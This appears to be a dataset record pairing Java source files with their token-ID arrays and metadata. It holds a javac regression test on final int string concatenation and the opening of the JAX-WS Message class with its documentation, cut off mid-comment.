2368,
51,
390,
47809,
492,
376,
221,
3242,
570,
25509,
625,
342,
15692,
625,
299,
457,
17270,
13117,
5165,
51,
8320,
71,
25509,
625,
18778,
45,
9816,
2368,
51,
25413,
100,
22532,
1052,
1332,
221,
620,
31195,
1771,
78,
100,
2877,
2775,
51,
19101,
22532,
1182,
1114,
14193,
45,
621,
221,
6063,
51,
390,
9969,
1046,
621,
221,
32827,
49,
621,
221,
103,
15692,
625,
49,
621,
221,
1886,
312,
453,
2323,
7811,
1114,
299,
920,
516,
26226,
331,
14281,
14825,
331,
332,
5010,
39,
413,
90,
7437,
1307,
10589,
51,
19509,
49,
341,
1275,
902,
2277,
11920,
341,
19514,
641,
580,
458,
49,
575,
4843,
580,
986,
451,
331,
14312,
413,
90,
222,
221,
130,
499,
221,
1350,
376,
338,
508,
15864,
1429,
341,
4337,
2146,
458,
3105,
1222,
5255,
638,
40,
12565,
100,
724,
100,
18104,
34114,
4037,
376,
338,
376,
338,
496,
620,
4917,
413,
2352,
708,
904,
3322,
347,
341,
1565,
696,
90,
7020,
1637,
49,
8635,
829,
2502,
51,
376,
588,
222,
221,
942,
23923,
3367,
739,
640,
89,
2352,
10138,
3367,
45,
3242,
23923,
8622,
1237,
1637,
46,
222,
221,
128,
376,
221,
344,
327,
316,
2157,
18104,
77,
2352,
22677,
1089,
1177,
376,
221,
128,
374,
221,
620,
640,
89,
2352,
10138,
3367,
100,
22677,
1089,
45,
1834,
312,
376,
221,
130,
376,
221,
728,
376,
221,
128,
374,
221,
620,
640,
89,
2352,
10138,
3367,
100,
1947,
45,
1834,
312,
376,
221,
130,
222,
221,
130,
499,
221,
2072,
23923,
3367,
739,
640,
89,
2352,
10138,
3367,
100,
22677,
1089,
45,
3242,
23923,
8622,
1237,
1637,
46,
222,
221,
128,
376,
221,
3242,
5255,
638,
2146,
638,
299,
640,
26682,
492,
376,
221,
344,
327,
1160,
638,
630,
5255,
638,
51,
12565,
100,
724,
100,
18104,
34114,
46,
376,
221,
128,
374,
221,
620,
640,
1089,
365,
596,
221,
51,
2255,
1947,
27243,
45,
22532,
4836,
2368,
2365,
51,
4179,
365,
1504,
221,
51,
1632,
45,
1926,
51,
34114,
46,
453,
4390,
23778,
391,
545,
331,
413,
90,
1504,
221,
51,
514,
1630,
2365,
45,
1834,
51,
390,
2365,
1543,
2811,
4292,
45,
1710,
509,
1504,
221,
51,
10463,
22532,
625,
45,
18777,
22532,
625,
1436,
4559,
2368,
1177,
453,
4390,
17340,
666,
545,
341,
1611,
413,
90,
708,
349,
9816,
44,
458,
3443,
13079,
391,
1504,
221,
51,
10463,
22532,
1551,
45,
93,
100,
82,
100,
22532,
51,
22532,
5965,
100,
42849,
46,
1504,
221,
51,
1848,
1177,
596,
221,
51,
11980,
45,
18676,
51,
998,
7016,
45,
661,
984,
2720,
51,
390,
27892,
625,
941,
390,
9339,
625,
5183,
596,
221,
51,
1130,
45,
661,
984,
2720,
51,
471,
10138,
899,
1177,
596,
221,
51,
6190,
45,
10138,
3367,
739,
51,
6190,
1052,
376,
221,
130,
1332,
221,
620,
23923,
3367,
739,
51,
13070,
64,
222,
221,
130,
499,
221,
2072,
23923,
3367,
739,
640,
89,
2352,
10138,
3367,
100,
1947,
45,
3242,
23923,
8622,
1237,
1637,
46,
222,
221,
128,
376,
221,
3242,
5255,
638,
2146,
638,
299,
640,
26682,
492,
376,
221,
344,
327,
1160,
638,
630,
5255,
638,
51,
12565,
100,
724,
100,
18104,
34114,
46,
376,
221,
128,
374,
221,
325,
4314,
63,
3337,
341,
9869,
374,
221,
325,
4314,
63,
2785,
829,
413,
2352,
374,
221,
325,
4314,
63,
3252,
829,
35007,
5150,
374,
221,
3242,
23923,
4336,
11478,
4336,
299,
12284,
10138,
4336,
51,
4179,
365,
596,
221,
51,
489,
9969,
15289,
45,
1710,
46,
453,
3708,
15289,
596,
221,
51,
489,
9969,
16702,
459,
82,
100,
22532,
100,
798,
678,
596,
221,
51,
489,
3948,
638,
45,
3948,
638,
51,
3209,
46,
596,
221,
51,
1848,
1580,
2061,
5518,
492,
374,
221,
10138,
8622,
19971,
299,
23923,
8622,
2232,
51,
2403,
51,
390,
10138,
8622,
45,
10124,
4336,
312,
374,
221,
3242,
23923,
3367,
739,
1074,
299,
19971,
51,
1828,
10502,
45,
1834,
49,
1637,
51,
390,
2365,
1046,
1637,
51,
390,
3468,
45,
53,
490,
1637,
51,
390,
5829,
45,
54,
53,
894,
374,
221,
620,
1074,
64,
376,
221,
130,
1332,
221,
620,
23923,
3367,
739,
51,
13070,
64,
222,
221,
130,
499,
221,
1350,
376,
338,
496,
620,
4917,
517,
2352,
708,
904,
3322,
347,
341,
1565,
696,
90,
7020,
1637,
49,
8635,
829,
2502,
51,
376,
588,
222,
221,
942,
23923,
3367,
739,
640,
81,
2352,
10138,
3367,
45,
3242,
23923,
8622,
1237,
1637,
46,
222,
221,
128,
376,
221,
344,
327,
316,
2157,
18104,
77,
2352,
22677,
1089,
1177,
376,
221,
128,
374,
221,
620,
640,
81,
2352,
10138,
3367,
100,
22677,
1089,
45,
1834,
312,
376,
221,
130,
376,
221,
728,
376,
221,
128,
374,
221,
620,
640,
81,
2352,
10138,
3367,
100,
1947,
45,
1834,
312,
376,
221,
130,
222,
221,
130,
499,
221,
2072,
23923,
3367,
739,
640,
81,
2352,
10138,
3367,
100,
22677,
1089,
45,
3242,
23923,
8622,
1237,
1637,
46,
222,
221,
128,
376,
221,
3242,
5255,
638,
2146,
638,
299,
640,
26682,
492,
376,
221,
344,
327,
1160,
638,
630,
5255,
638,
51,
34114,
100,
724,
100,
18104,
11830,
46,
376,
221,
128,
374,
221,
620,
640,
1089,
365,
596,
221,
51,
2255,
1947,
27243,
45,
22532,
4836,
2368,
2365,
51,
4179,
365,
1504,
221,
51,
1632,
45,
1926,
51,
11830,
46,
453,
4390,
23778,
391,
545,
331,
33659,
1504,
221,
51,
514,
1630,
2365,
45,
1834,
51,
390,
2365,
1543,
2811,
4292,
45,
1710,
509,
1504,
221,
51,
10463,
22532,
625,
45,
18777,
22532,
625,
1436,
4559,
2368,
1177,
453,
4390,
17340,
666,
545,
341,
1611,
33659,
708,
349,
13389,
44,
458,
3443,
13079,
391,
1504,
221,
51,
10463,
22532,
1551,
45,
93,
100,
82,
100,
22532,
51,
22532,
5965,
100,
42849,
46,
1504,
221,
51,
1848,
1177,
596,
221,
51,
11980,
45,
18676,
51,
998,
7016,
45,
661,
984,
2720,
51,
390,
27892,
625,
941,
390,
9339,
625,
5183,
596,
221,
51,
1130,
45,
661,
984,
2720,
51,
471,
10138,
899,
1177,
596,
221,
51,
6190,
45,
10138,
3367,
739,
51,
6190,
1052,
376,
221,
130,
1332,
221,
620,
23923,
3367,
739,
51,
13070,
64,
222,
221,
130,
499,
221,
2072,
23923,
3367,
739,
640,
81,
2352,
10138,
3367,
100,
1947,
45,
3242,
23923,
8622,
1237,
1637,
46,
222,
221,
128,
376,
221,
3242,
5255,
638,
2146,
638,
299,
640,
26682,
492,
376,
221,
344,
327,
1160,
638,
630,
5255,
638,
51,
34114,
100,
724,
100,
18104,
11830,
46,
376,
221,
128,
374,
221,
325,
4314,
63,
3337,
341,
9869,
374,
221,
325,
4314,
63,
2785,
829,
517,
2352,
374,
221,
325,
4314,
63,
3252,
829,
35007,
5150,
374,
221,
3242,
23923,
4336,
11478,
4336,
299,
12284,
10138,
4336,
51,
4179,
365,
596,
221,
51,
489,
9969,
15289,
45,
1710,
46,
453,
3708,
15289,
596,
221,
51,
489,
9969,
16702,
459,
82,
100,
22532,
100,
798,
678,
596,
221,
51,
489,
3948,
638,
45,
3948,
638,
51,
3209,
46,
596,
221,
51,
1848,
1580,
2061,
5518,
492,
374,
221,
10138,
8622,
19971,
299,
23923,
8622,
2232,
51,
2403,
51,
390,
10138,
8622,
45,
10124,
4336,
312,
374,
221,
3242,
23923,
3367,
739,
1074,
299,
19971,
51,
1828,
10502,
45,
1834,
49,
1637,
51,
390,
2365,
1046,
1637,
51,
390,
3468,
45,
53,
490,
1637,
51,
390,
5829,
45,
54,
53,
894,
374,
221,
620,
1074,
64,
376,
221,
130,
376,
221,
728,
376,
221,
128,
374,
221,
620,
23923,
3367,
739,
51,
13070,
64,
376,
221,
130,
222,
221,
130,
499,
221,
2072,
32137,
625,
38791,
22532,
625,
1436,
4559,
2368,
365,
222,
221,
128,
376,
221,
3242,
696,
90,
4836,
2368,
38311,
2368,
299,
640,
4559,
2368,
492,
376,
221,
3242,
457,
100,
82,
100,
22532,
38311,
299,
38311,
2368,
51,
25413,
100,
22532,
492,
376,
221,
3242,
648,
45061,
1436,
4559,
22532,
299,
9946,
13117,
12909,
51,
19101,
4449,
625,
45,
8290,
312,
376,
221,
620,
32137,
625,
51,
1048,
9339,
625,
18778,
45,
38834,
1436,
4559,
22532,
312,
222,
221,
130,
499,
221,
942,
23923,
3367,
739,
640,
82,
100,
22532,
100,
1182,
100,
1114,
100,
11532,
365,
222,
221,
128,
376,
221,
3242,
5255,
638,
2146,
638,
299,
640,
26682,
492,
376,
221,
344,
327,
1160,
638,
882,
5255,
638,
51,
34114,
100,
724,
100,
1827,
81,
2352,
46,
376,
221,
128,
374,
221,
620,
23923,
3367,
739,
51,
13070,
64,
376,
221,
130,
1332,
221,
3242,
1701,
65,
78,
100,
82,
100,
22532,
100,
1182,
100,
1114,
67,
21353,
1182,
3648,
299,
640,
8590,
11830,
1182,
3648,
492,
1332,
221,
620,
21353,
1182,
3648,
51,
2255,
365,
621,
221,
51,
2049,
45,
6318,
1182,
1114,
984,
21353,
1182,
1114,
51,
25413,
100,
22532,
100,
1182,
100,
2080,
941,
316,
3075,
365,
979,
21353,
1182,
1114,
51,
25413,
100,
22532,
100,
1182,
100,
2080,
941,
22630,
365,
979,
21353,
1182,
1114,
51,
25413,
100,
22532,
100,
1182,
100,
2080,
941,
25413,
100,
22532,
100,
1182,
941,
22630,
1177,
621,
221,
51,
1130,
45,
6318,
1182,
1114,
984,
4418,
10138,
899,
51,
1048,
45,
6318,
1182,
1114,
51,
25413,
100,
22532,
100,
1182,
100,
1114,
100,
798,
1046,
31195,
1771,
78,
100,
2877,
2775,
51,
1848,
22532,
1182,
1114,
671,
45,
6318,
1182,
1114,
2636,
621,
221,
51,
11980,
45,
18676,
51,
998,
7016,
45,
3078,
10138,
899,
422,
390,
12572,
509,
621,
221,
51,
6190,
45,
10138,
3367,
739,
51,
6190,
1052,
222,
221,
130,
499,
221,
942,
457,
100,
82,
100,
22532,
100,
1182,
100,
1114,
23916,
82,
100,
11830,
100,
1182,
100,
1114,
18778,
365,
222,
221,
128,
376,
221,
3242,
1701,
65,
78,
100,
82,
100,
22532,
100,
1182,
100,
1114,
67,
21353,
1182,
3648,
299,
640,
8590,
11830,
1182,
3648,
492,
376,
221,
3242,
5663,
65,
78,
100,
82,
100,
22532,
100,
1182,
100,
1114,
67,
1263,
22532,
1182,
1114,
299,
21353,
1182,
3648,
51,
2255,
365,
621,
221,
51,
2049,
45,
6318,
1182,
1114,
984,
21353,
1182,
1114,
51,
25413,
100,
22532,
100,
1182,
100,
2080,
941,
316,
3075,
365,
979,
21353,
1182,
1114,
51,
25413,
100,
22532,
100,
1182,
100,
2080,
941,
22630,
365,
979,
21353,
1182,
1114,
51,
25413,
100,
22532,
100,
1182,
100,
2080,
941,
25413,
100,
22532,
100,
1182,
941,
22630,
1177,
621,
221,
51,
11980,
45,
18676,
51,
998,
7016,
45,
78,
100,
82,
100,
22532,
100,
1182,
100,
1114,
422,
25413,
100,
22532,
100,
1182,
100,
1114,
100,
798,
509,
453,
4314,
2794,
391,
2554,
829,
1037,
621,
221,
51,
45219,
492,
1332,
221,
620,
1263,
22532,
1182,
1114,
51,
26628,
45,
1710,
312,
222,
221,
130,
499,
221,
2072,
1701,
65,
78,
100,
82,
100,
22532,
100,
1182,
100,
1114,
67,
640,
8590,
11830,
1182,
3648,
365,
222,
221,
128,
376,
221,
3242,
696,
90,
4836,
2368,
21998,
2368,
299,
640,
4559,
2368,
492,
376,
221,
3242,
457,
100,
82,
100,
22532,
21998,
22532,
299,
21998,
2368,
51,
25413,
100,
22532,
492,
376,
221,
3242,
457,
100,
82,
100,
22532,
100,
1182,
100,
2080,
19103,
1182,
2080,
299,
9946,
13117,
5165,
51,
390,
33986,
1182,
2080,
45,
13389,
22532,
312,
376,
221,
2157,
51,
750,
2811,
45,
27124,
1182,
2080,
630,
762,
49,
332,
13389,
22532,
458,
38967,
64,
38311,
1305,
6557,
21998,
22532,
312,
1332,
221,
3242,
1701,
65,
78,
100,
82,
100,
22532,
100,
1182,
100,
1114,
67,
21353,
1182,
3648,
299,
9946,
13117,
12909,
51,
19101,
4449,
1182,
3648,
1580,
4449,
1182,
45,
621,
221,
27124,
1182,
2080,
51,
25413,
100,
22532,
100,
1182,
1046,
621,
221,
1710,
49,
621,
221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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 4,764
| true
| 75.198667
| true
| true
|
FinalIntConcatenation.java
|
/FileExtraction/Java_unseen/unktomi_form-follows-function/mjavac/langtools/test/tools/javac/FinalIntConcatenation.java
|
/*
* Copyright 1998 Sun Microsystems, Inc. All Rights Reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Sun Microsystems, Inc., 4150 Network Circle, Santa Clara,
* CA 95054 USA or visit www.sun.com if you need additional information or
* have any questions.
*/
/*
* @test
* @bug 4106244
* @summary Final ints were getting incorrectly evaluated at compile time
* to the value null when they were used as a part of a constant
* String concatenation.
* @author turnidge
*
* @compile FinalIntConcatenation.java
* @run main FinalIntConcatenation
*/
public class FinalIntConcatenation {
public static void main(String[] args) throws Exception {
final int i = 7;
String s = "" + i;
if (s.indexOf("null",0) != -1) {
throw new Exception(
"incorrect compile-time evaluation of final int");
}
}
}
| 1,676
|
Java
|
.java
|
unktomi/form-follows-function
| 9
| 2
| 0
|
2015-03-14T16:16:53Z
|
2015-08-30T21:38:50Z
|
6647b5d93455c44c031ff474ca43da7d93abb5bcfbe9f4ea925b6f95111522ac
|
[
1127,
222,
338,
2657,
244,
54,
62,
62,
61,
21437,
18168,
17575,
49,
6367,
51,
244,
3381,
12902,
11921,
51,
222,
338,
4103,
2387,
23740,
1895,
35234,
8995,
2387,
11988,
1895,
8968,
10961,
30441,
51,
222,
338,
222,
338,
1369,
1361,
458,
3760,
2951,
64,
863,
902,
14081,
580,
480,
52,
290,
5370,
580,
222,
338,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
1522,
244,
55,
1773,
49,
641,
222,
338,
9582,
829,
341,
7834,
3870,
7120,
51,
222,
338,
222,
338,
1369,
1361,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
1294,
4213,
222,
338,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
7934,
575,
222,
338,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
6994,
6153,
5062,
1196,
222,
338,
1522,
244,
55,
456,
1851,
4261,
327,
102,
1948,
458,
5976,
347,
341,
7621,
822,
708,
222,
338,
20854,
297,
4850,
477,
1361,
566,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
1522,
222,
338,
244,
55,
7979,
642,
477,
1409,
64,
434,
666,
49,
2886,
391,
341,
7834,
3870,
7120,
49,
222,
338,
6367,
4345,
244,
58,
54,
34113,
1277,
49,
33316,
26912,
49,
25006,
49,
13083,
244,
53,
55,
54,
54,
53,
50,
54,
56,
53,
54,
15067,
51,
222,
338,
222,
338,
5304,
7272,
21437,
18168,
17575,
49,
6367,
4345,
244,
57,
54,
58,
53,
8187,
25119,
49,
377,
19712,
409,
4055,
102,
49,
222,
338,
10562,
244,
62,
58,
53,
58,
57,
15067,
575,
7739,
19955,
51,
9886,
51,
527,
434,
863,
1868,
5408,
2490,
575,
222,
338,
1178,
1364,
10034,
51,
222,
588,
222,
222,
1127,
222,
338,
496,
881,
222,
338,
496,
1468,
244,
57,
54,
53,
59,
55,
57,
57,
222,
338,
496,
1386,
11929,
34669,
4547,
7882,
33294,
22519,
840,
8340,
1153,
222,
338,
2052,
391,
341,
804,
762,
1429,
2974,
4547,
1674,
641,
331,
1760,
451,
331,
8100,
222,
338,
2052,
910,
14406,
23633,
51,
222,
338,
496,
2133,
6940,
33203,
222,
338,
222,
338,
496,
7028,
11929,
1438,
31512,
51,
1874,
222,
338,
496,
1967,
2594,
11929,
1438,
31512,
222,
588,
222,
222,
942,
462,
11929,
1438,
31512,
320,
303,
581,
924,
782,
2594,
45,
671,
1197,
2194,
46,
2589,
3284,
320,
310,
1175,
648,
613,
299,
244,
60,
64,
310,
910,
328,
299,
3347,
494,
613,
64,
310,
434,
327,
120,
51,
7149,
459,
1710,
411,
53,
46,
882,
449,
54,
46,
320,
343,
1440,
556,
3284,
45,
1764,
332,
34727,
8340,
50,
1021,
11999,
451,
1175,
648,
742,
310,
339,
303,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 434
| true
| 67.601432
| true
| true
|
Message.java
|
/FileExtraction/Java_unseen/AdoptOpenJDK_openjdk-aarch64-jdk8u/jaxws/src/share/jaxws_classes/com/sun/xml/internal/ws/api/message/Message.java
|
/*
* Copyright (c) 1997, 2013, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
package com.sun.xml.internal.ws.api.message;
import com.sun.istack.internal.NotNull;
import com.sun.istack.internal.Nullable;
import com.sun.xml.internal.bind.api.Bridge;
import com.sun.xml.internal.ws.api.BindingID;
import com.sun.xml.internal.ws.api.SOAPVersion;
import com.sun.xml.internal.ws.api.WSBinding;
import com.sun.xml.internal.ws.api.addressing.AddressingVersion;
import com.sun.xml.internal.ws.api.model.JavaMethod;
import com.sun.xml.internal.ws.api.model.SEIModel;
import com.sun.xml.internal.ws.api.model.WSDLOperationMapping;
import com.sun.xml.internal.ws.api.model.wsdl.WSDLBoundOperation;
import com.sun.xml.internal.ws.api.model.wsdl.WSDLBoundPortType;
import com.sun.xml.internal.ws.api.model.wsdl.WSDLPort;
import com.sun.xml.internal.ws.api.pipe.Codec;
import com.sun.xml.internal.ws.api.pipe.Pipe;
import com.sun.xml.internal.ws.api.streaming.XMLStreamReaderFactory;
import com.sun.xml.internal.ws.client.dispatch.DispatchImpl;
import com.sun.xml.internal.ws.message.AttachmentSetImpl;
import com.sun.xml.internal.ws.message.StringHeader;
import com.sun.xml.internal.ws.message.jaxb.JAXBMessage;
import com.sun.xml.internal.ws.spi.db.XMLBridge;
import com.sun.xml.internal.ws.fault.SOAPFaultBuilder;
import com.sun.xml.internal.org.jvnet.staxex.XMLStreamReaderEx;
import com.sun.xml.internal.org.jvnet.staxex.XMLStreamWriterEx;
import org.xml.sax.ContentHandler;
import org.xml.sax.ErrorHandler;
import org.xml.sax.SAXException;
import org.xml.sax.SAXParseException;
import javax.xml.bind.JAXBException;
import javax.xml.bind.Unmarshaller;
import javax.xml.namespace.QName;
import javax.xml.soap.MimeHeaders;
import javax.xml.soap.SOAPException;
import javax.xml.soap.SOAPMessage;
import javax.xml.stream.XMLStreamException;
import javax.xml.stream.XMLStreamReader;
import javax.xml.stream.XMLStreamWriter;
import javax.xml.transform.Source;
import javax.xml.ws.Dispatch;
import javax.xml.ws.WebServiceException;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.List;
import java.util.Map;
import java.util.UUID;
/**
* Represents a SOAP message.
*
*
* <h2>What is a message?</h2>
* <p>
* A {@link Message} consists of the following:
*
* <ol>
* <li>
* Random-accessible list of headers.
* a header is a representation of an element inside
* <soap:Header>.
* It can be read multiple times,
* can be added or removed, but it is not modifiable.
* See {@link HeaderList} for more about headers.
*
* <li>
* The payload of the message, which is a representation
* of an element inside <soap:Body>.
* the payload is streamed, and therefore it can be
* only read once (or can be only written to something once.)
* once a payload is used, a message is said to be <b>consumed</b>.
* A message {@link #hasPayload() may not have any payload.}
*
* <li>
* Attachments.
* TODO: can attachments be streamed? I suspect so.
* does anyone need to read attachment twice?
*
* </ol>
*
*
* <h2>How does this abstraction work?</h2>
* <p>
* The basic idea behind the {@link Message} is to hide the actual
* data representation. For example, a {@link Message} might be
* constructed on top of an {@link InputStream} from the accepted HTTP connection,
* or it might be constructed on top of a JAXB object as a result
* of the method invocation through {@link Proxy}. There will be
* a {@link Message} implementation for each of those cases.
*
* <p>
* This interface provides a lot of methods that access the payload
* in many different forms, and implementations can implement those
* methods in the best possible way.
*
* <p>
* A particular attention is paid to make sure that a {@link Message}
* object can be constructed on a stream that is not fully read yet.
* We believe this improves the turn-around time on the server side.
*
* <p>
* It is often useful to wrap a {@link Message} into another {@link Message},
* for example to encrypt the body, or to verify the signature as the body
* is read.
*
* <p>
* This representation is also used for a REST-ful XML message.
* In such case we'll construct a {@link Message} with empty
* attachments and headers, and when serializing all headers
* and attachments will be ignored.
*
*
*
* <h2>Message and XOP</h2>
* <p>
* XOP is considered as an {@link Codec}, and therefore when you are looking at
* {@link Message}, you'll never see <xop:Include> or any such elements
* (instead you'll see the base64 data inlined.) If a consumer of infoset isn't
* interested in handling XOP by himself, this allows him to work with XOP
* correctly even without noticing it.
*
* <p>
* For producers and consumers that are interested in accessing the binary data
* more efficiently, they can use {@link XMLStreamReaderEx} and
* {@link XMLStreamWriterEx}.
*
*
*
* <h2>Message lifespan</h2>
* <p>
* Often {@link Packet} include information local to a particular
* invocaion (such as {@code HttpServletRequest}, from this angle, it makes sense
* to tie a lifespan of a message to one pipeline invocation.
* <p>
* On the other hand, if you think about WS-RM, it often needs to hold on to
* a message longer than a pipeline invocation (you might get an HTTP request,
* get a message X, get a second HTTP request, get another message Y, and
* only then you might want to process X.)
* <p>
* TODO: what do we do about this?
*
*
* <pre>
* TODO: can body element have foreign attributes? maybe ID for security?
* Yes, when the SOAP body is signed there will be an ID attribute present
* But in this case any security based impl may need access
* to the concrete representation.
* TODO: HTTP headers?
* Yes. Abstracted as transport-based properties.
* TODO: who handles SOAP 1.1 and SOAP 1.2 difference?
* As separate channel implementations responsible for the creation of the
* message?
* TODO: session?
* TODO: Do we need to expose SOAPMessage explicitly?
* SOAPMessage could be the concrete representation but is it necessary to
* transform between different concrete representations?
* Perhaps this comes down to how use channels for creation and processing.
* TODO: Do we need to distinguish better between creation and processing?
* Do we really need the requirement that a created message can be resused
* for processing. Shall we bifurcate?
*
* TODO: SOAP version issue
* SOAP version is determined by the context, so message itself doesn't carry it around (?)
*
* TODO: wrapping message needs easier. in particular properties and attachments.
* </pre>
*
* @author Kohsuke Kawaguchi
*/
public abstract class Message {
/**
* Returns true if headers are present in the message.
*
* @return
* true if headers are present.
*/
public abstract boolean hasHeaders();
/**
* Gets all the headers of this message.
*
* <h3>Implementation Note</h3>
* <p>
* {@link Message} implementation is allowed to defer
* the construction of {@link MessageHeaders} object. So
* if you only want to check for the existence of any header
* element, use {@link #hasHeaders()}.
*
* @return
* always return the same non-null object.
*/
public abstract @NotNull MessageHeaders getHeaders();
/**
* Gets the attachments of this message
* (attachments live outside a message.)
*/
public @NotNull AttachmentSet getAttachments() {
if (attachmentSet == null) {
attachmentSet = new AttachmentSetImpl();
}
return attachmentSet;
}
/**
* Optimization hint for the derived class to check
* if we may have some attachments.
*/
protected boolean hasAttachments() {
return attachmentSet!=null;
}
protected AttachmentSet attachmentSet;
private WSDLBoundOperation operation = null;
private WSDLOperationMapping wsdlOperationMapping = null;
private MessageMetadata messageMetadata = null;
public void setMessageMedadata(MessageMetadata metadata) {
messageMetadata = metadata;
}
/**
* Returns the operation of which this message is an instance of.
*
* <p>
* This method relies on {@link WSDLBoundPortType#getOperation(String, String)} but
* it does so in an efficient way.
*
* @deprecated It is not always possible to uniquely identify the WSDL Operation from just the
* information in the Message. Instead, Use {@link com.sun.xml.internal.ws.api.message.Packet#getWSDLOperation()}
* to get it correctly.
*
* <p>
* This method works only for a request. A pipe can determine an operation for a request,
* and then keep it in a local variable to use it with a response, so there should be
* no need to find out operation from a response (besides, there might not be any response!).
*
* @param boundPortType
* This represents the port for which this message is used.
* Most {@link Pipe}s should get this information when they are created,
* since a pippeline always work against a particular type of {@link WSDLPort}.
*
* @return
* Null if the operation was not found. This is possible, for example when a protocol
* message is sent through a pipeline, or when we receive an invalid request on the server,
* or when we are on the client and the user appliation sends a random DOM through
* {@link Dispatch}, so this error needs to be handled gracefully.
*/
@Deprecated
public final @Nullable WSDLBoundOperation getOperation(@NotNull WSDLBoundPortType boundPortType) {
if (operation == null && messageMetadata != null) {
if (wsdlOperationMapping == null) wsdlOperationMapping = messageMetadata.getWSDLOperationMapping();
if (wsdlOperationMapping != null) operation = wsdlOperationMapping.getWSDLBoundOperation();
}
if(operation==null)
operation = boundPortType.getOperation(getPayloadNamespaceURI(),getPayloadLocalPart());
return operation;
}
/**
* The same as {@link #getOperation(WSDLBoundPortType)} but
* takes {@link WSDLPort} for convenience.
*
* @deprecated It is not always possible to uniquely identify the WSDL Operation from just the
* information in the Message. Instead, Use {@link com.sun.xml.internal.ws.api.message.Packet#getWSDLOperation()}
* to get it correctly.
*/
@Deprecated
public final @Nullable WSDLBoundOperation getOperation(@NotNull WSDLPort port) {
return getOperation(port.getBinding());
}
/**
* Returns the java Method of which this message is an instance of.
*
* It is not always possible to uniquely identify the WSDL Operation from just the
* information in the Message. Instead, Use {@link com.sun.xml.internal.ws.api.message.Packet#getWSDLOperation()}
* to get the QName of the associated wsdl operation correctly.
*
* <p>
* This method works only for a request. A pipe can determine a {@link Method}
* for a request, and then keep it in a local variable to use it with a response,
* so there should be no need to find out operation from a response (besides,
* there might not be any response!).
*
* @param seiModel
* This represents the java model for the endpoint
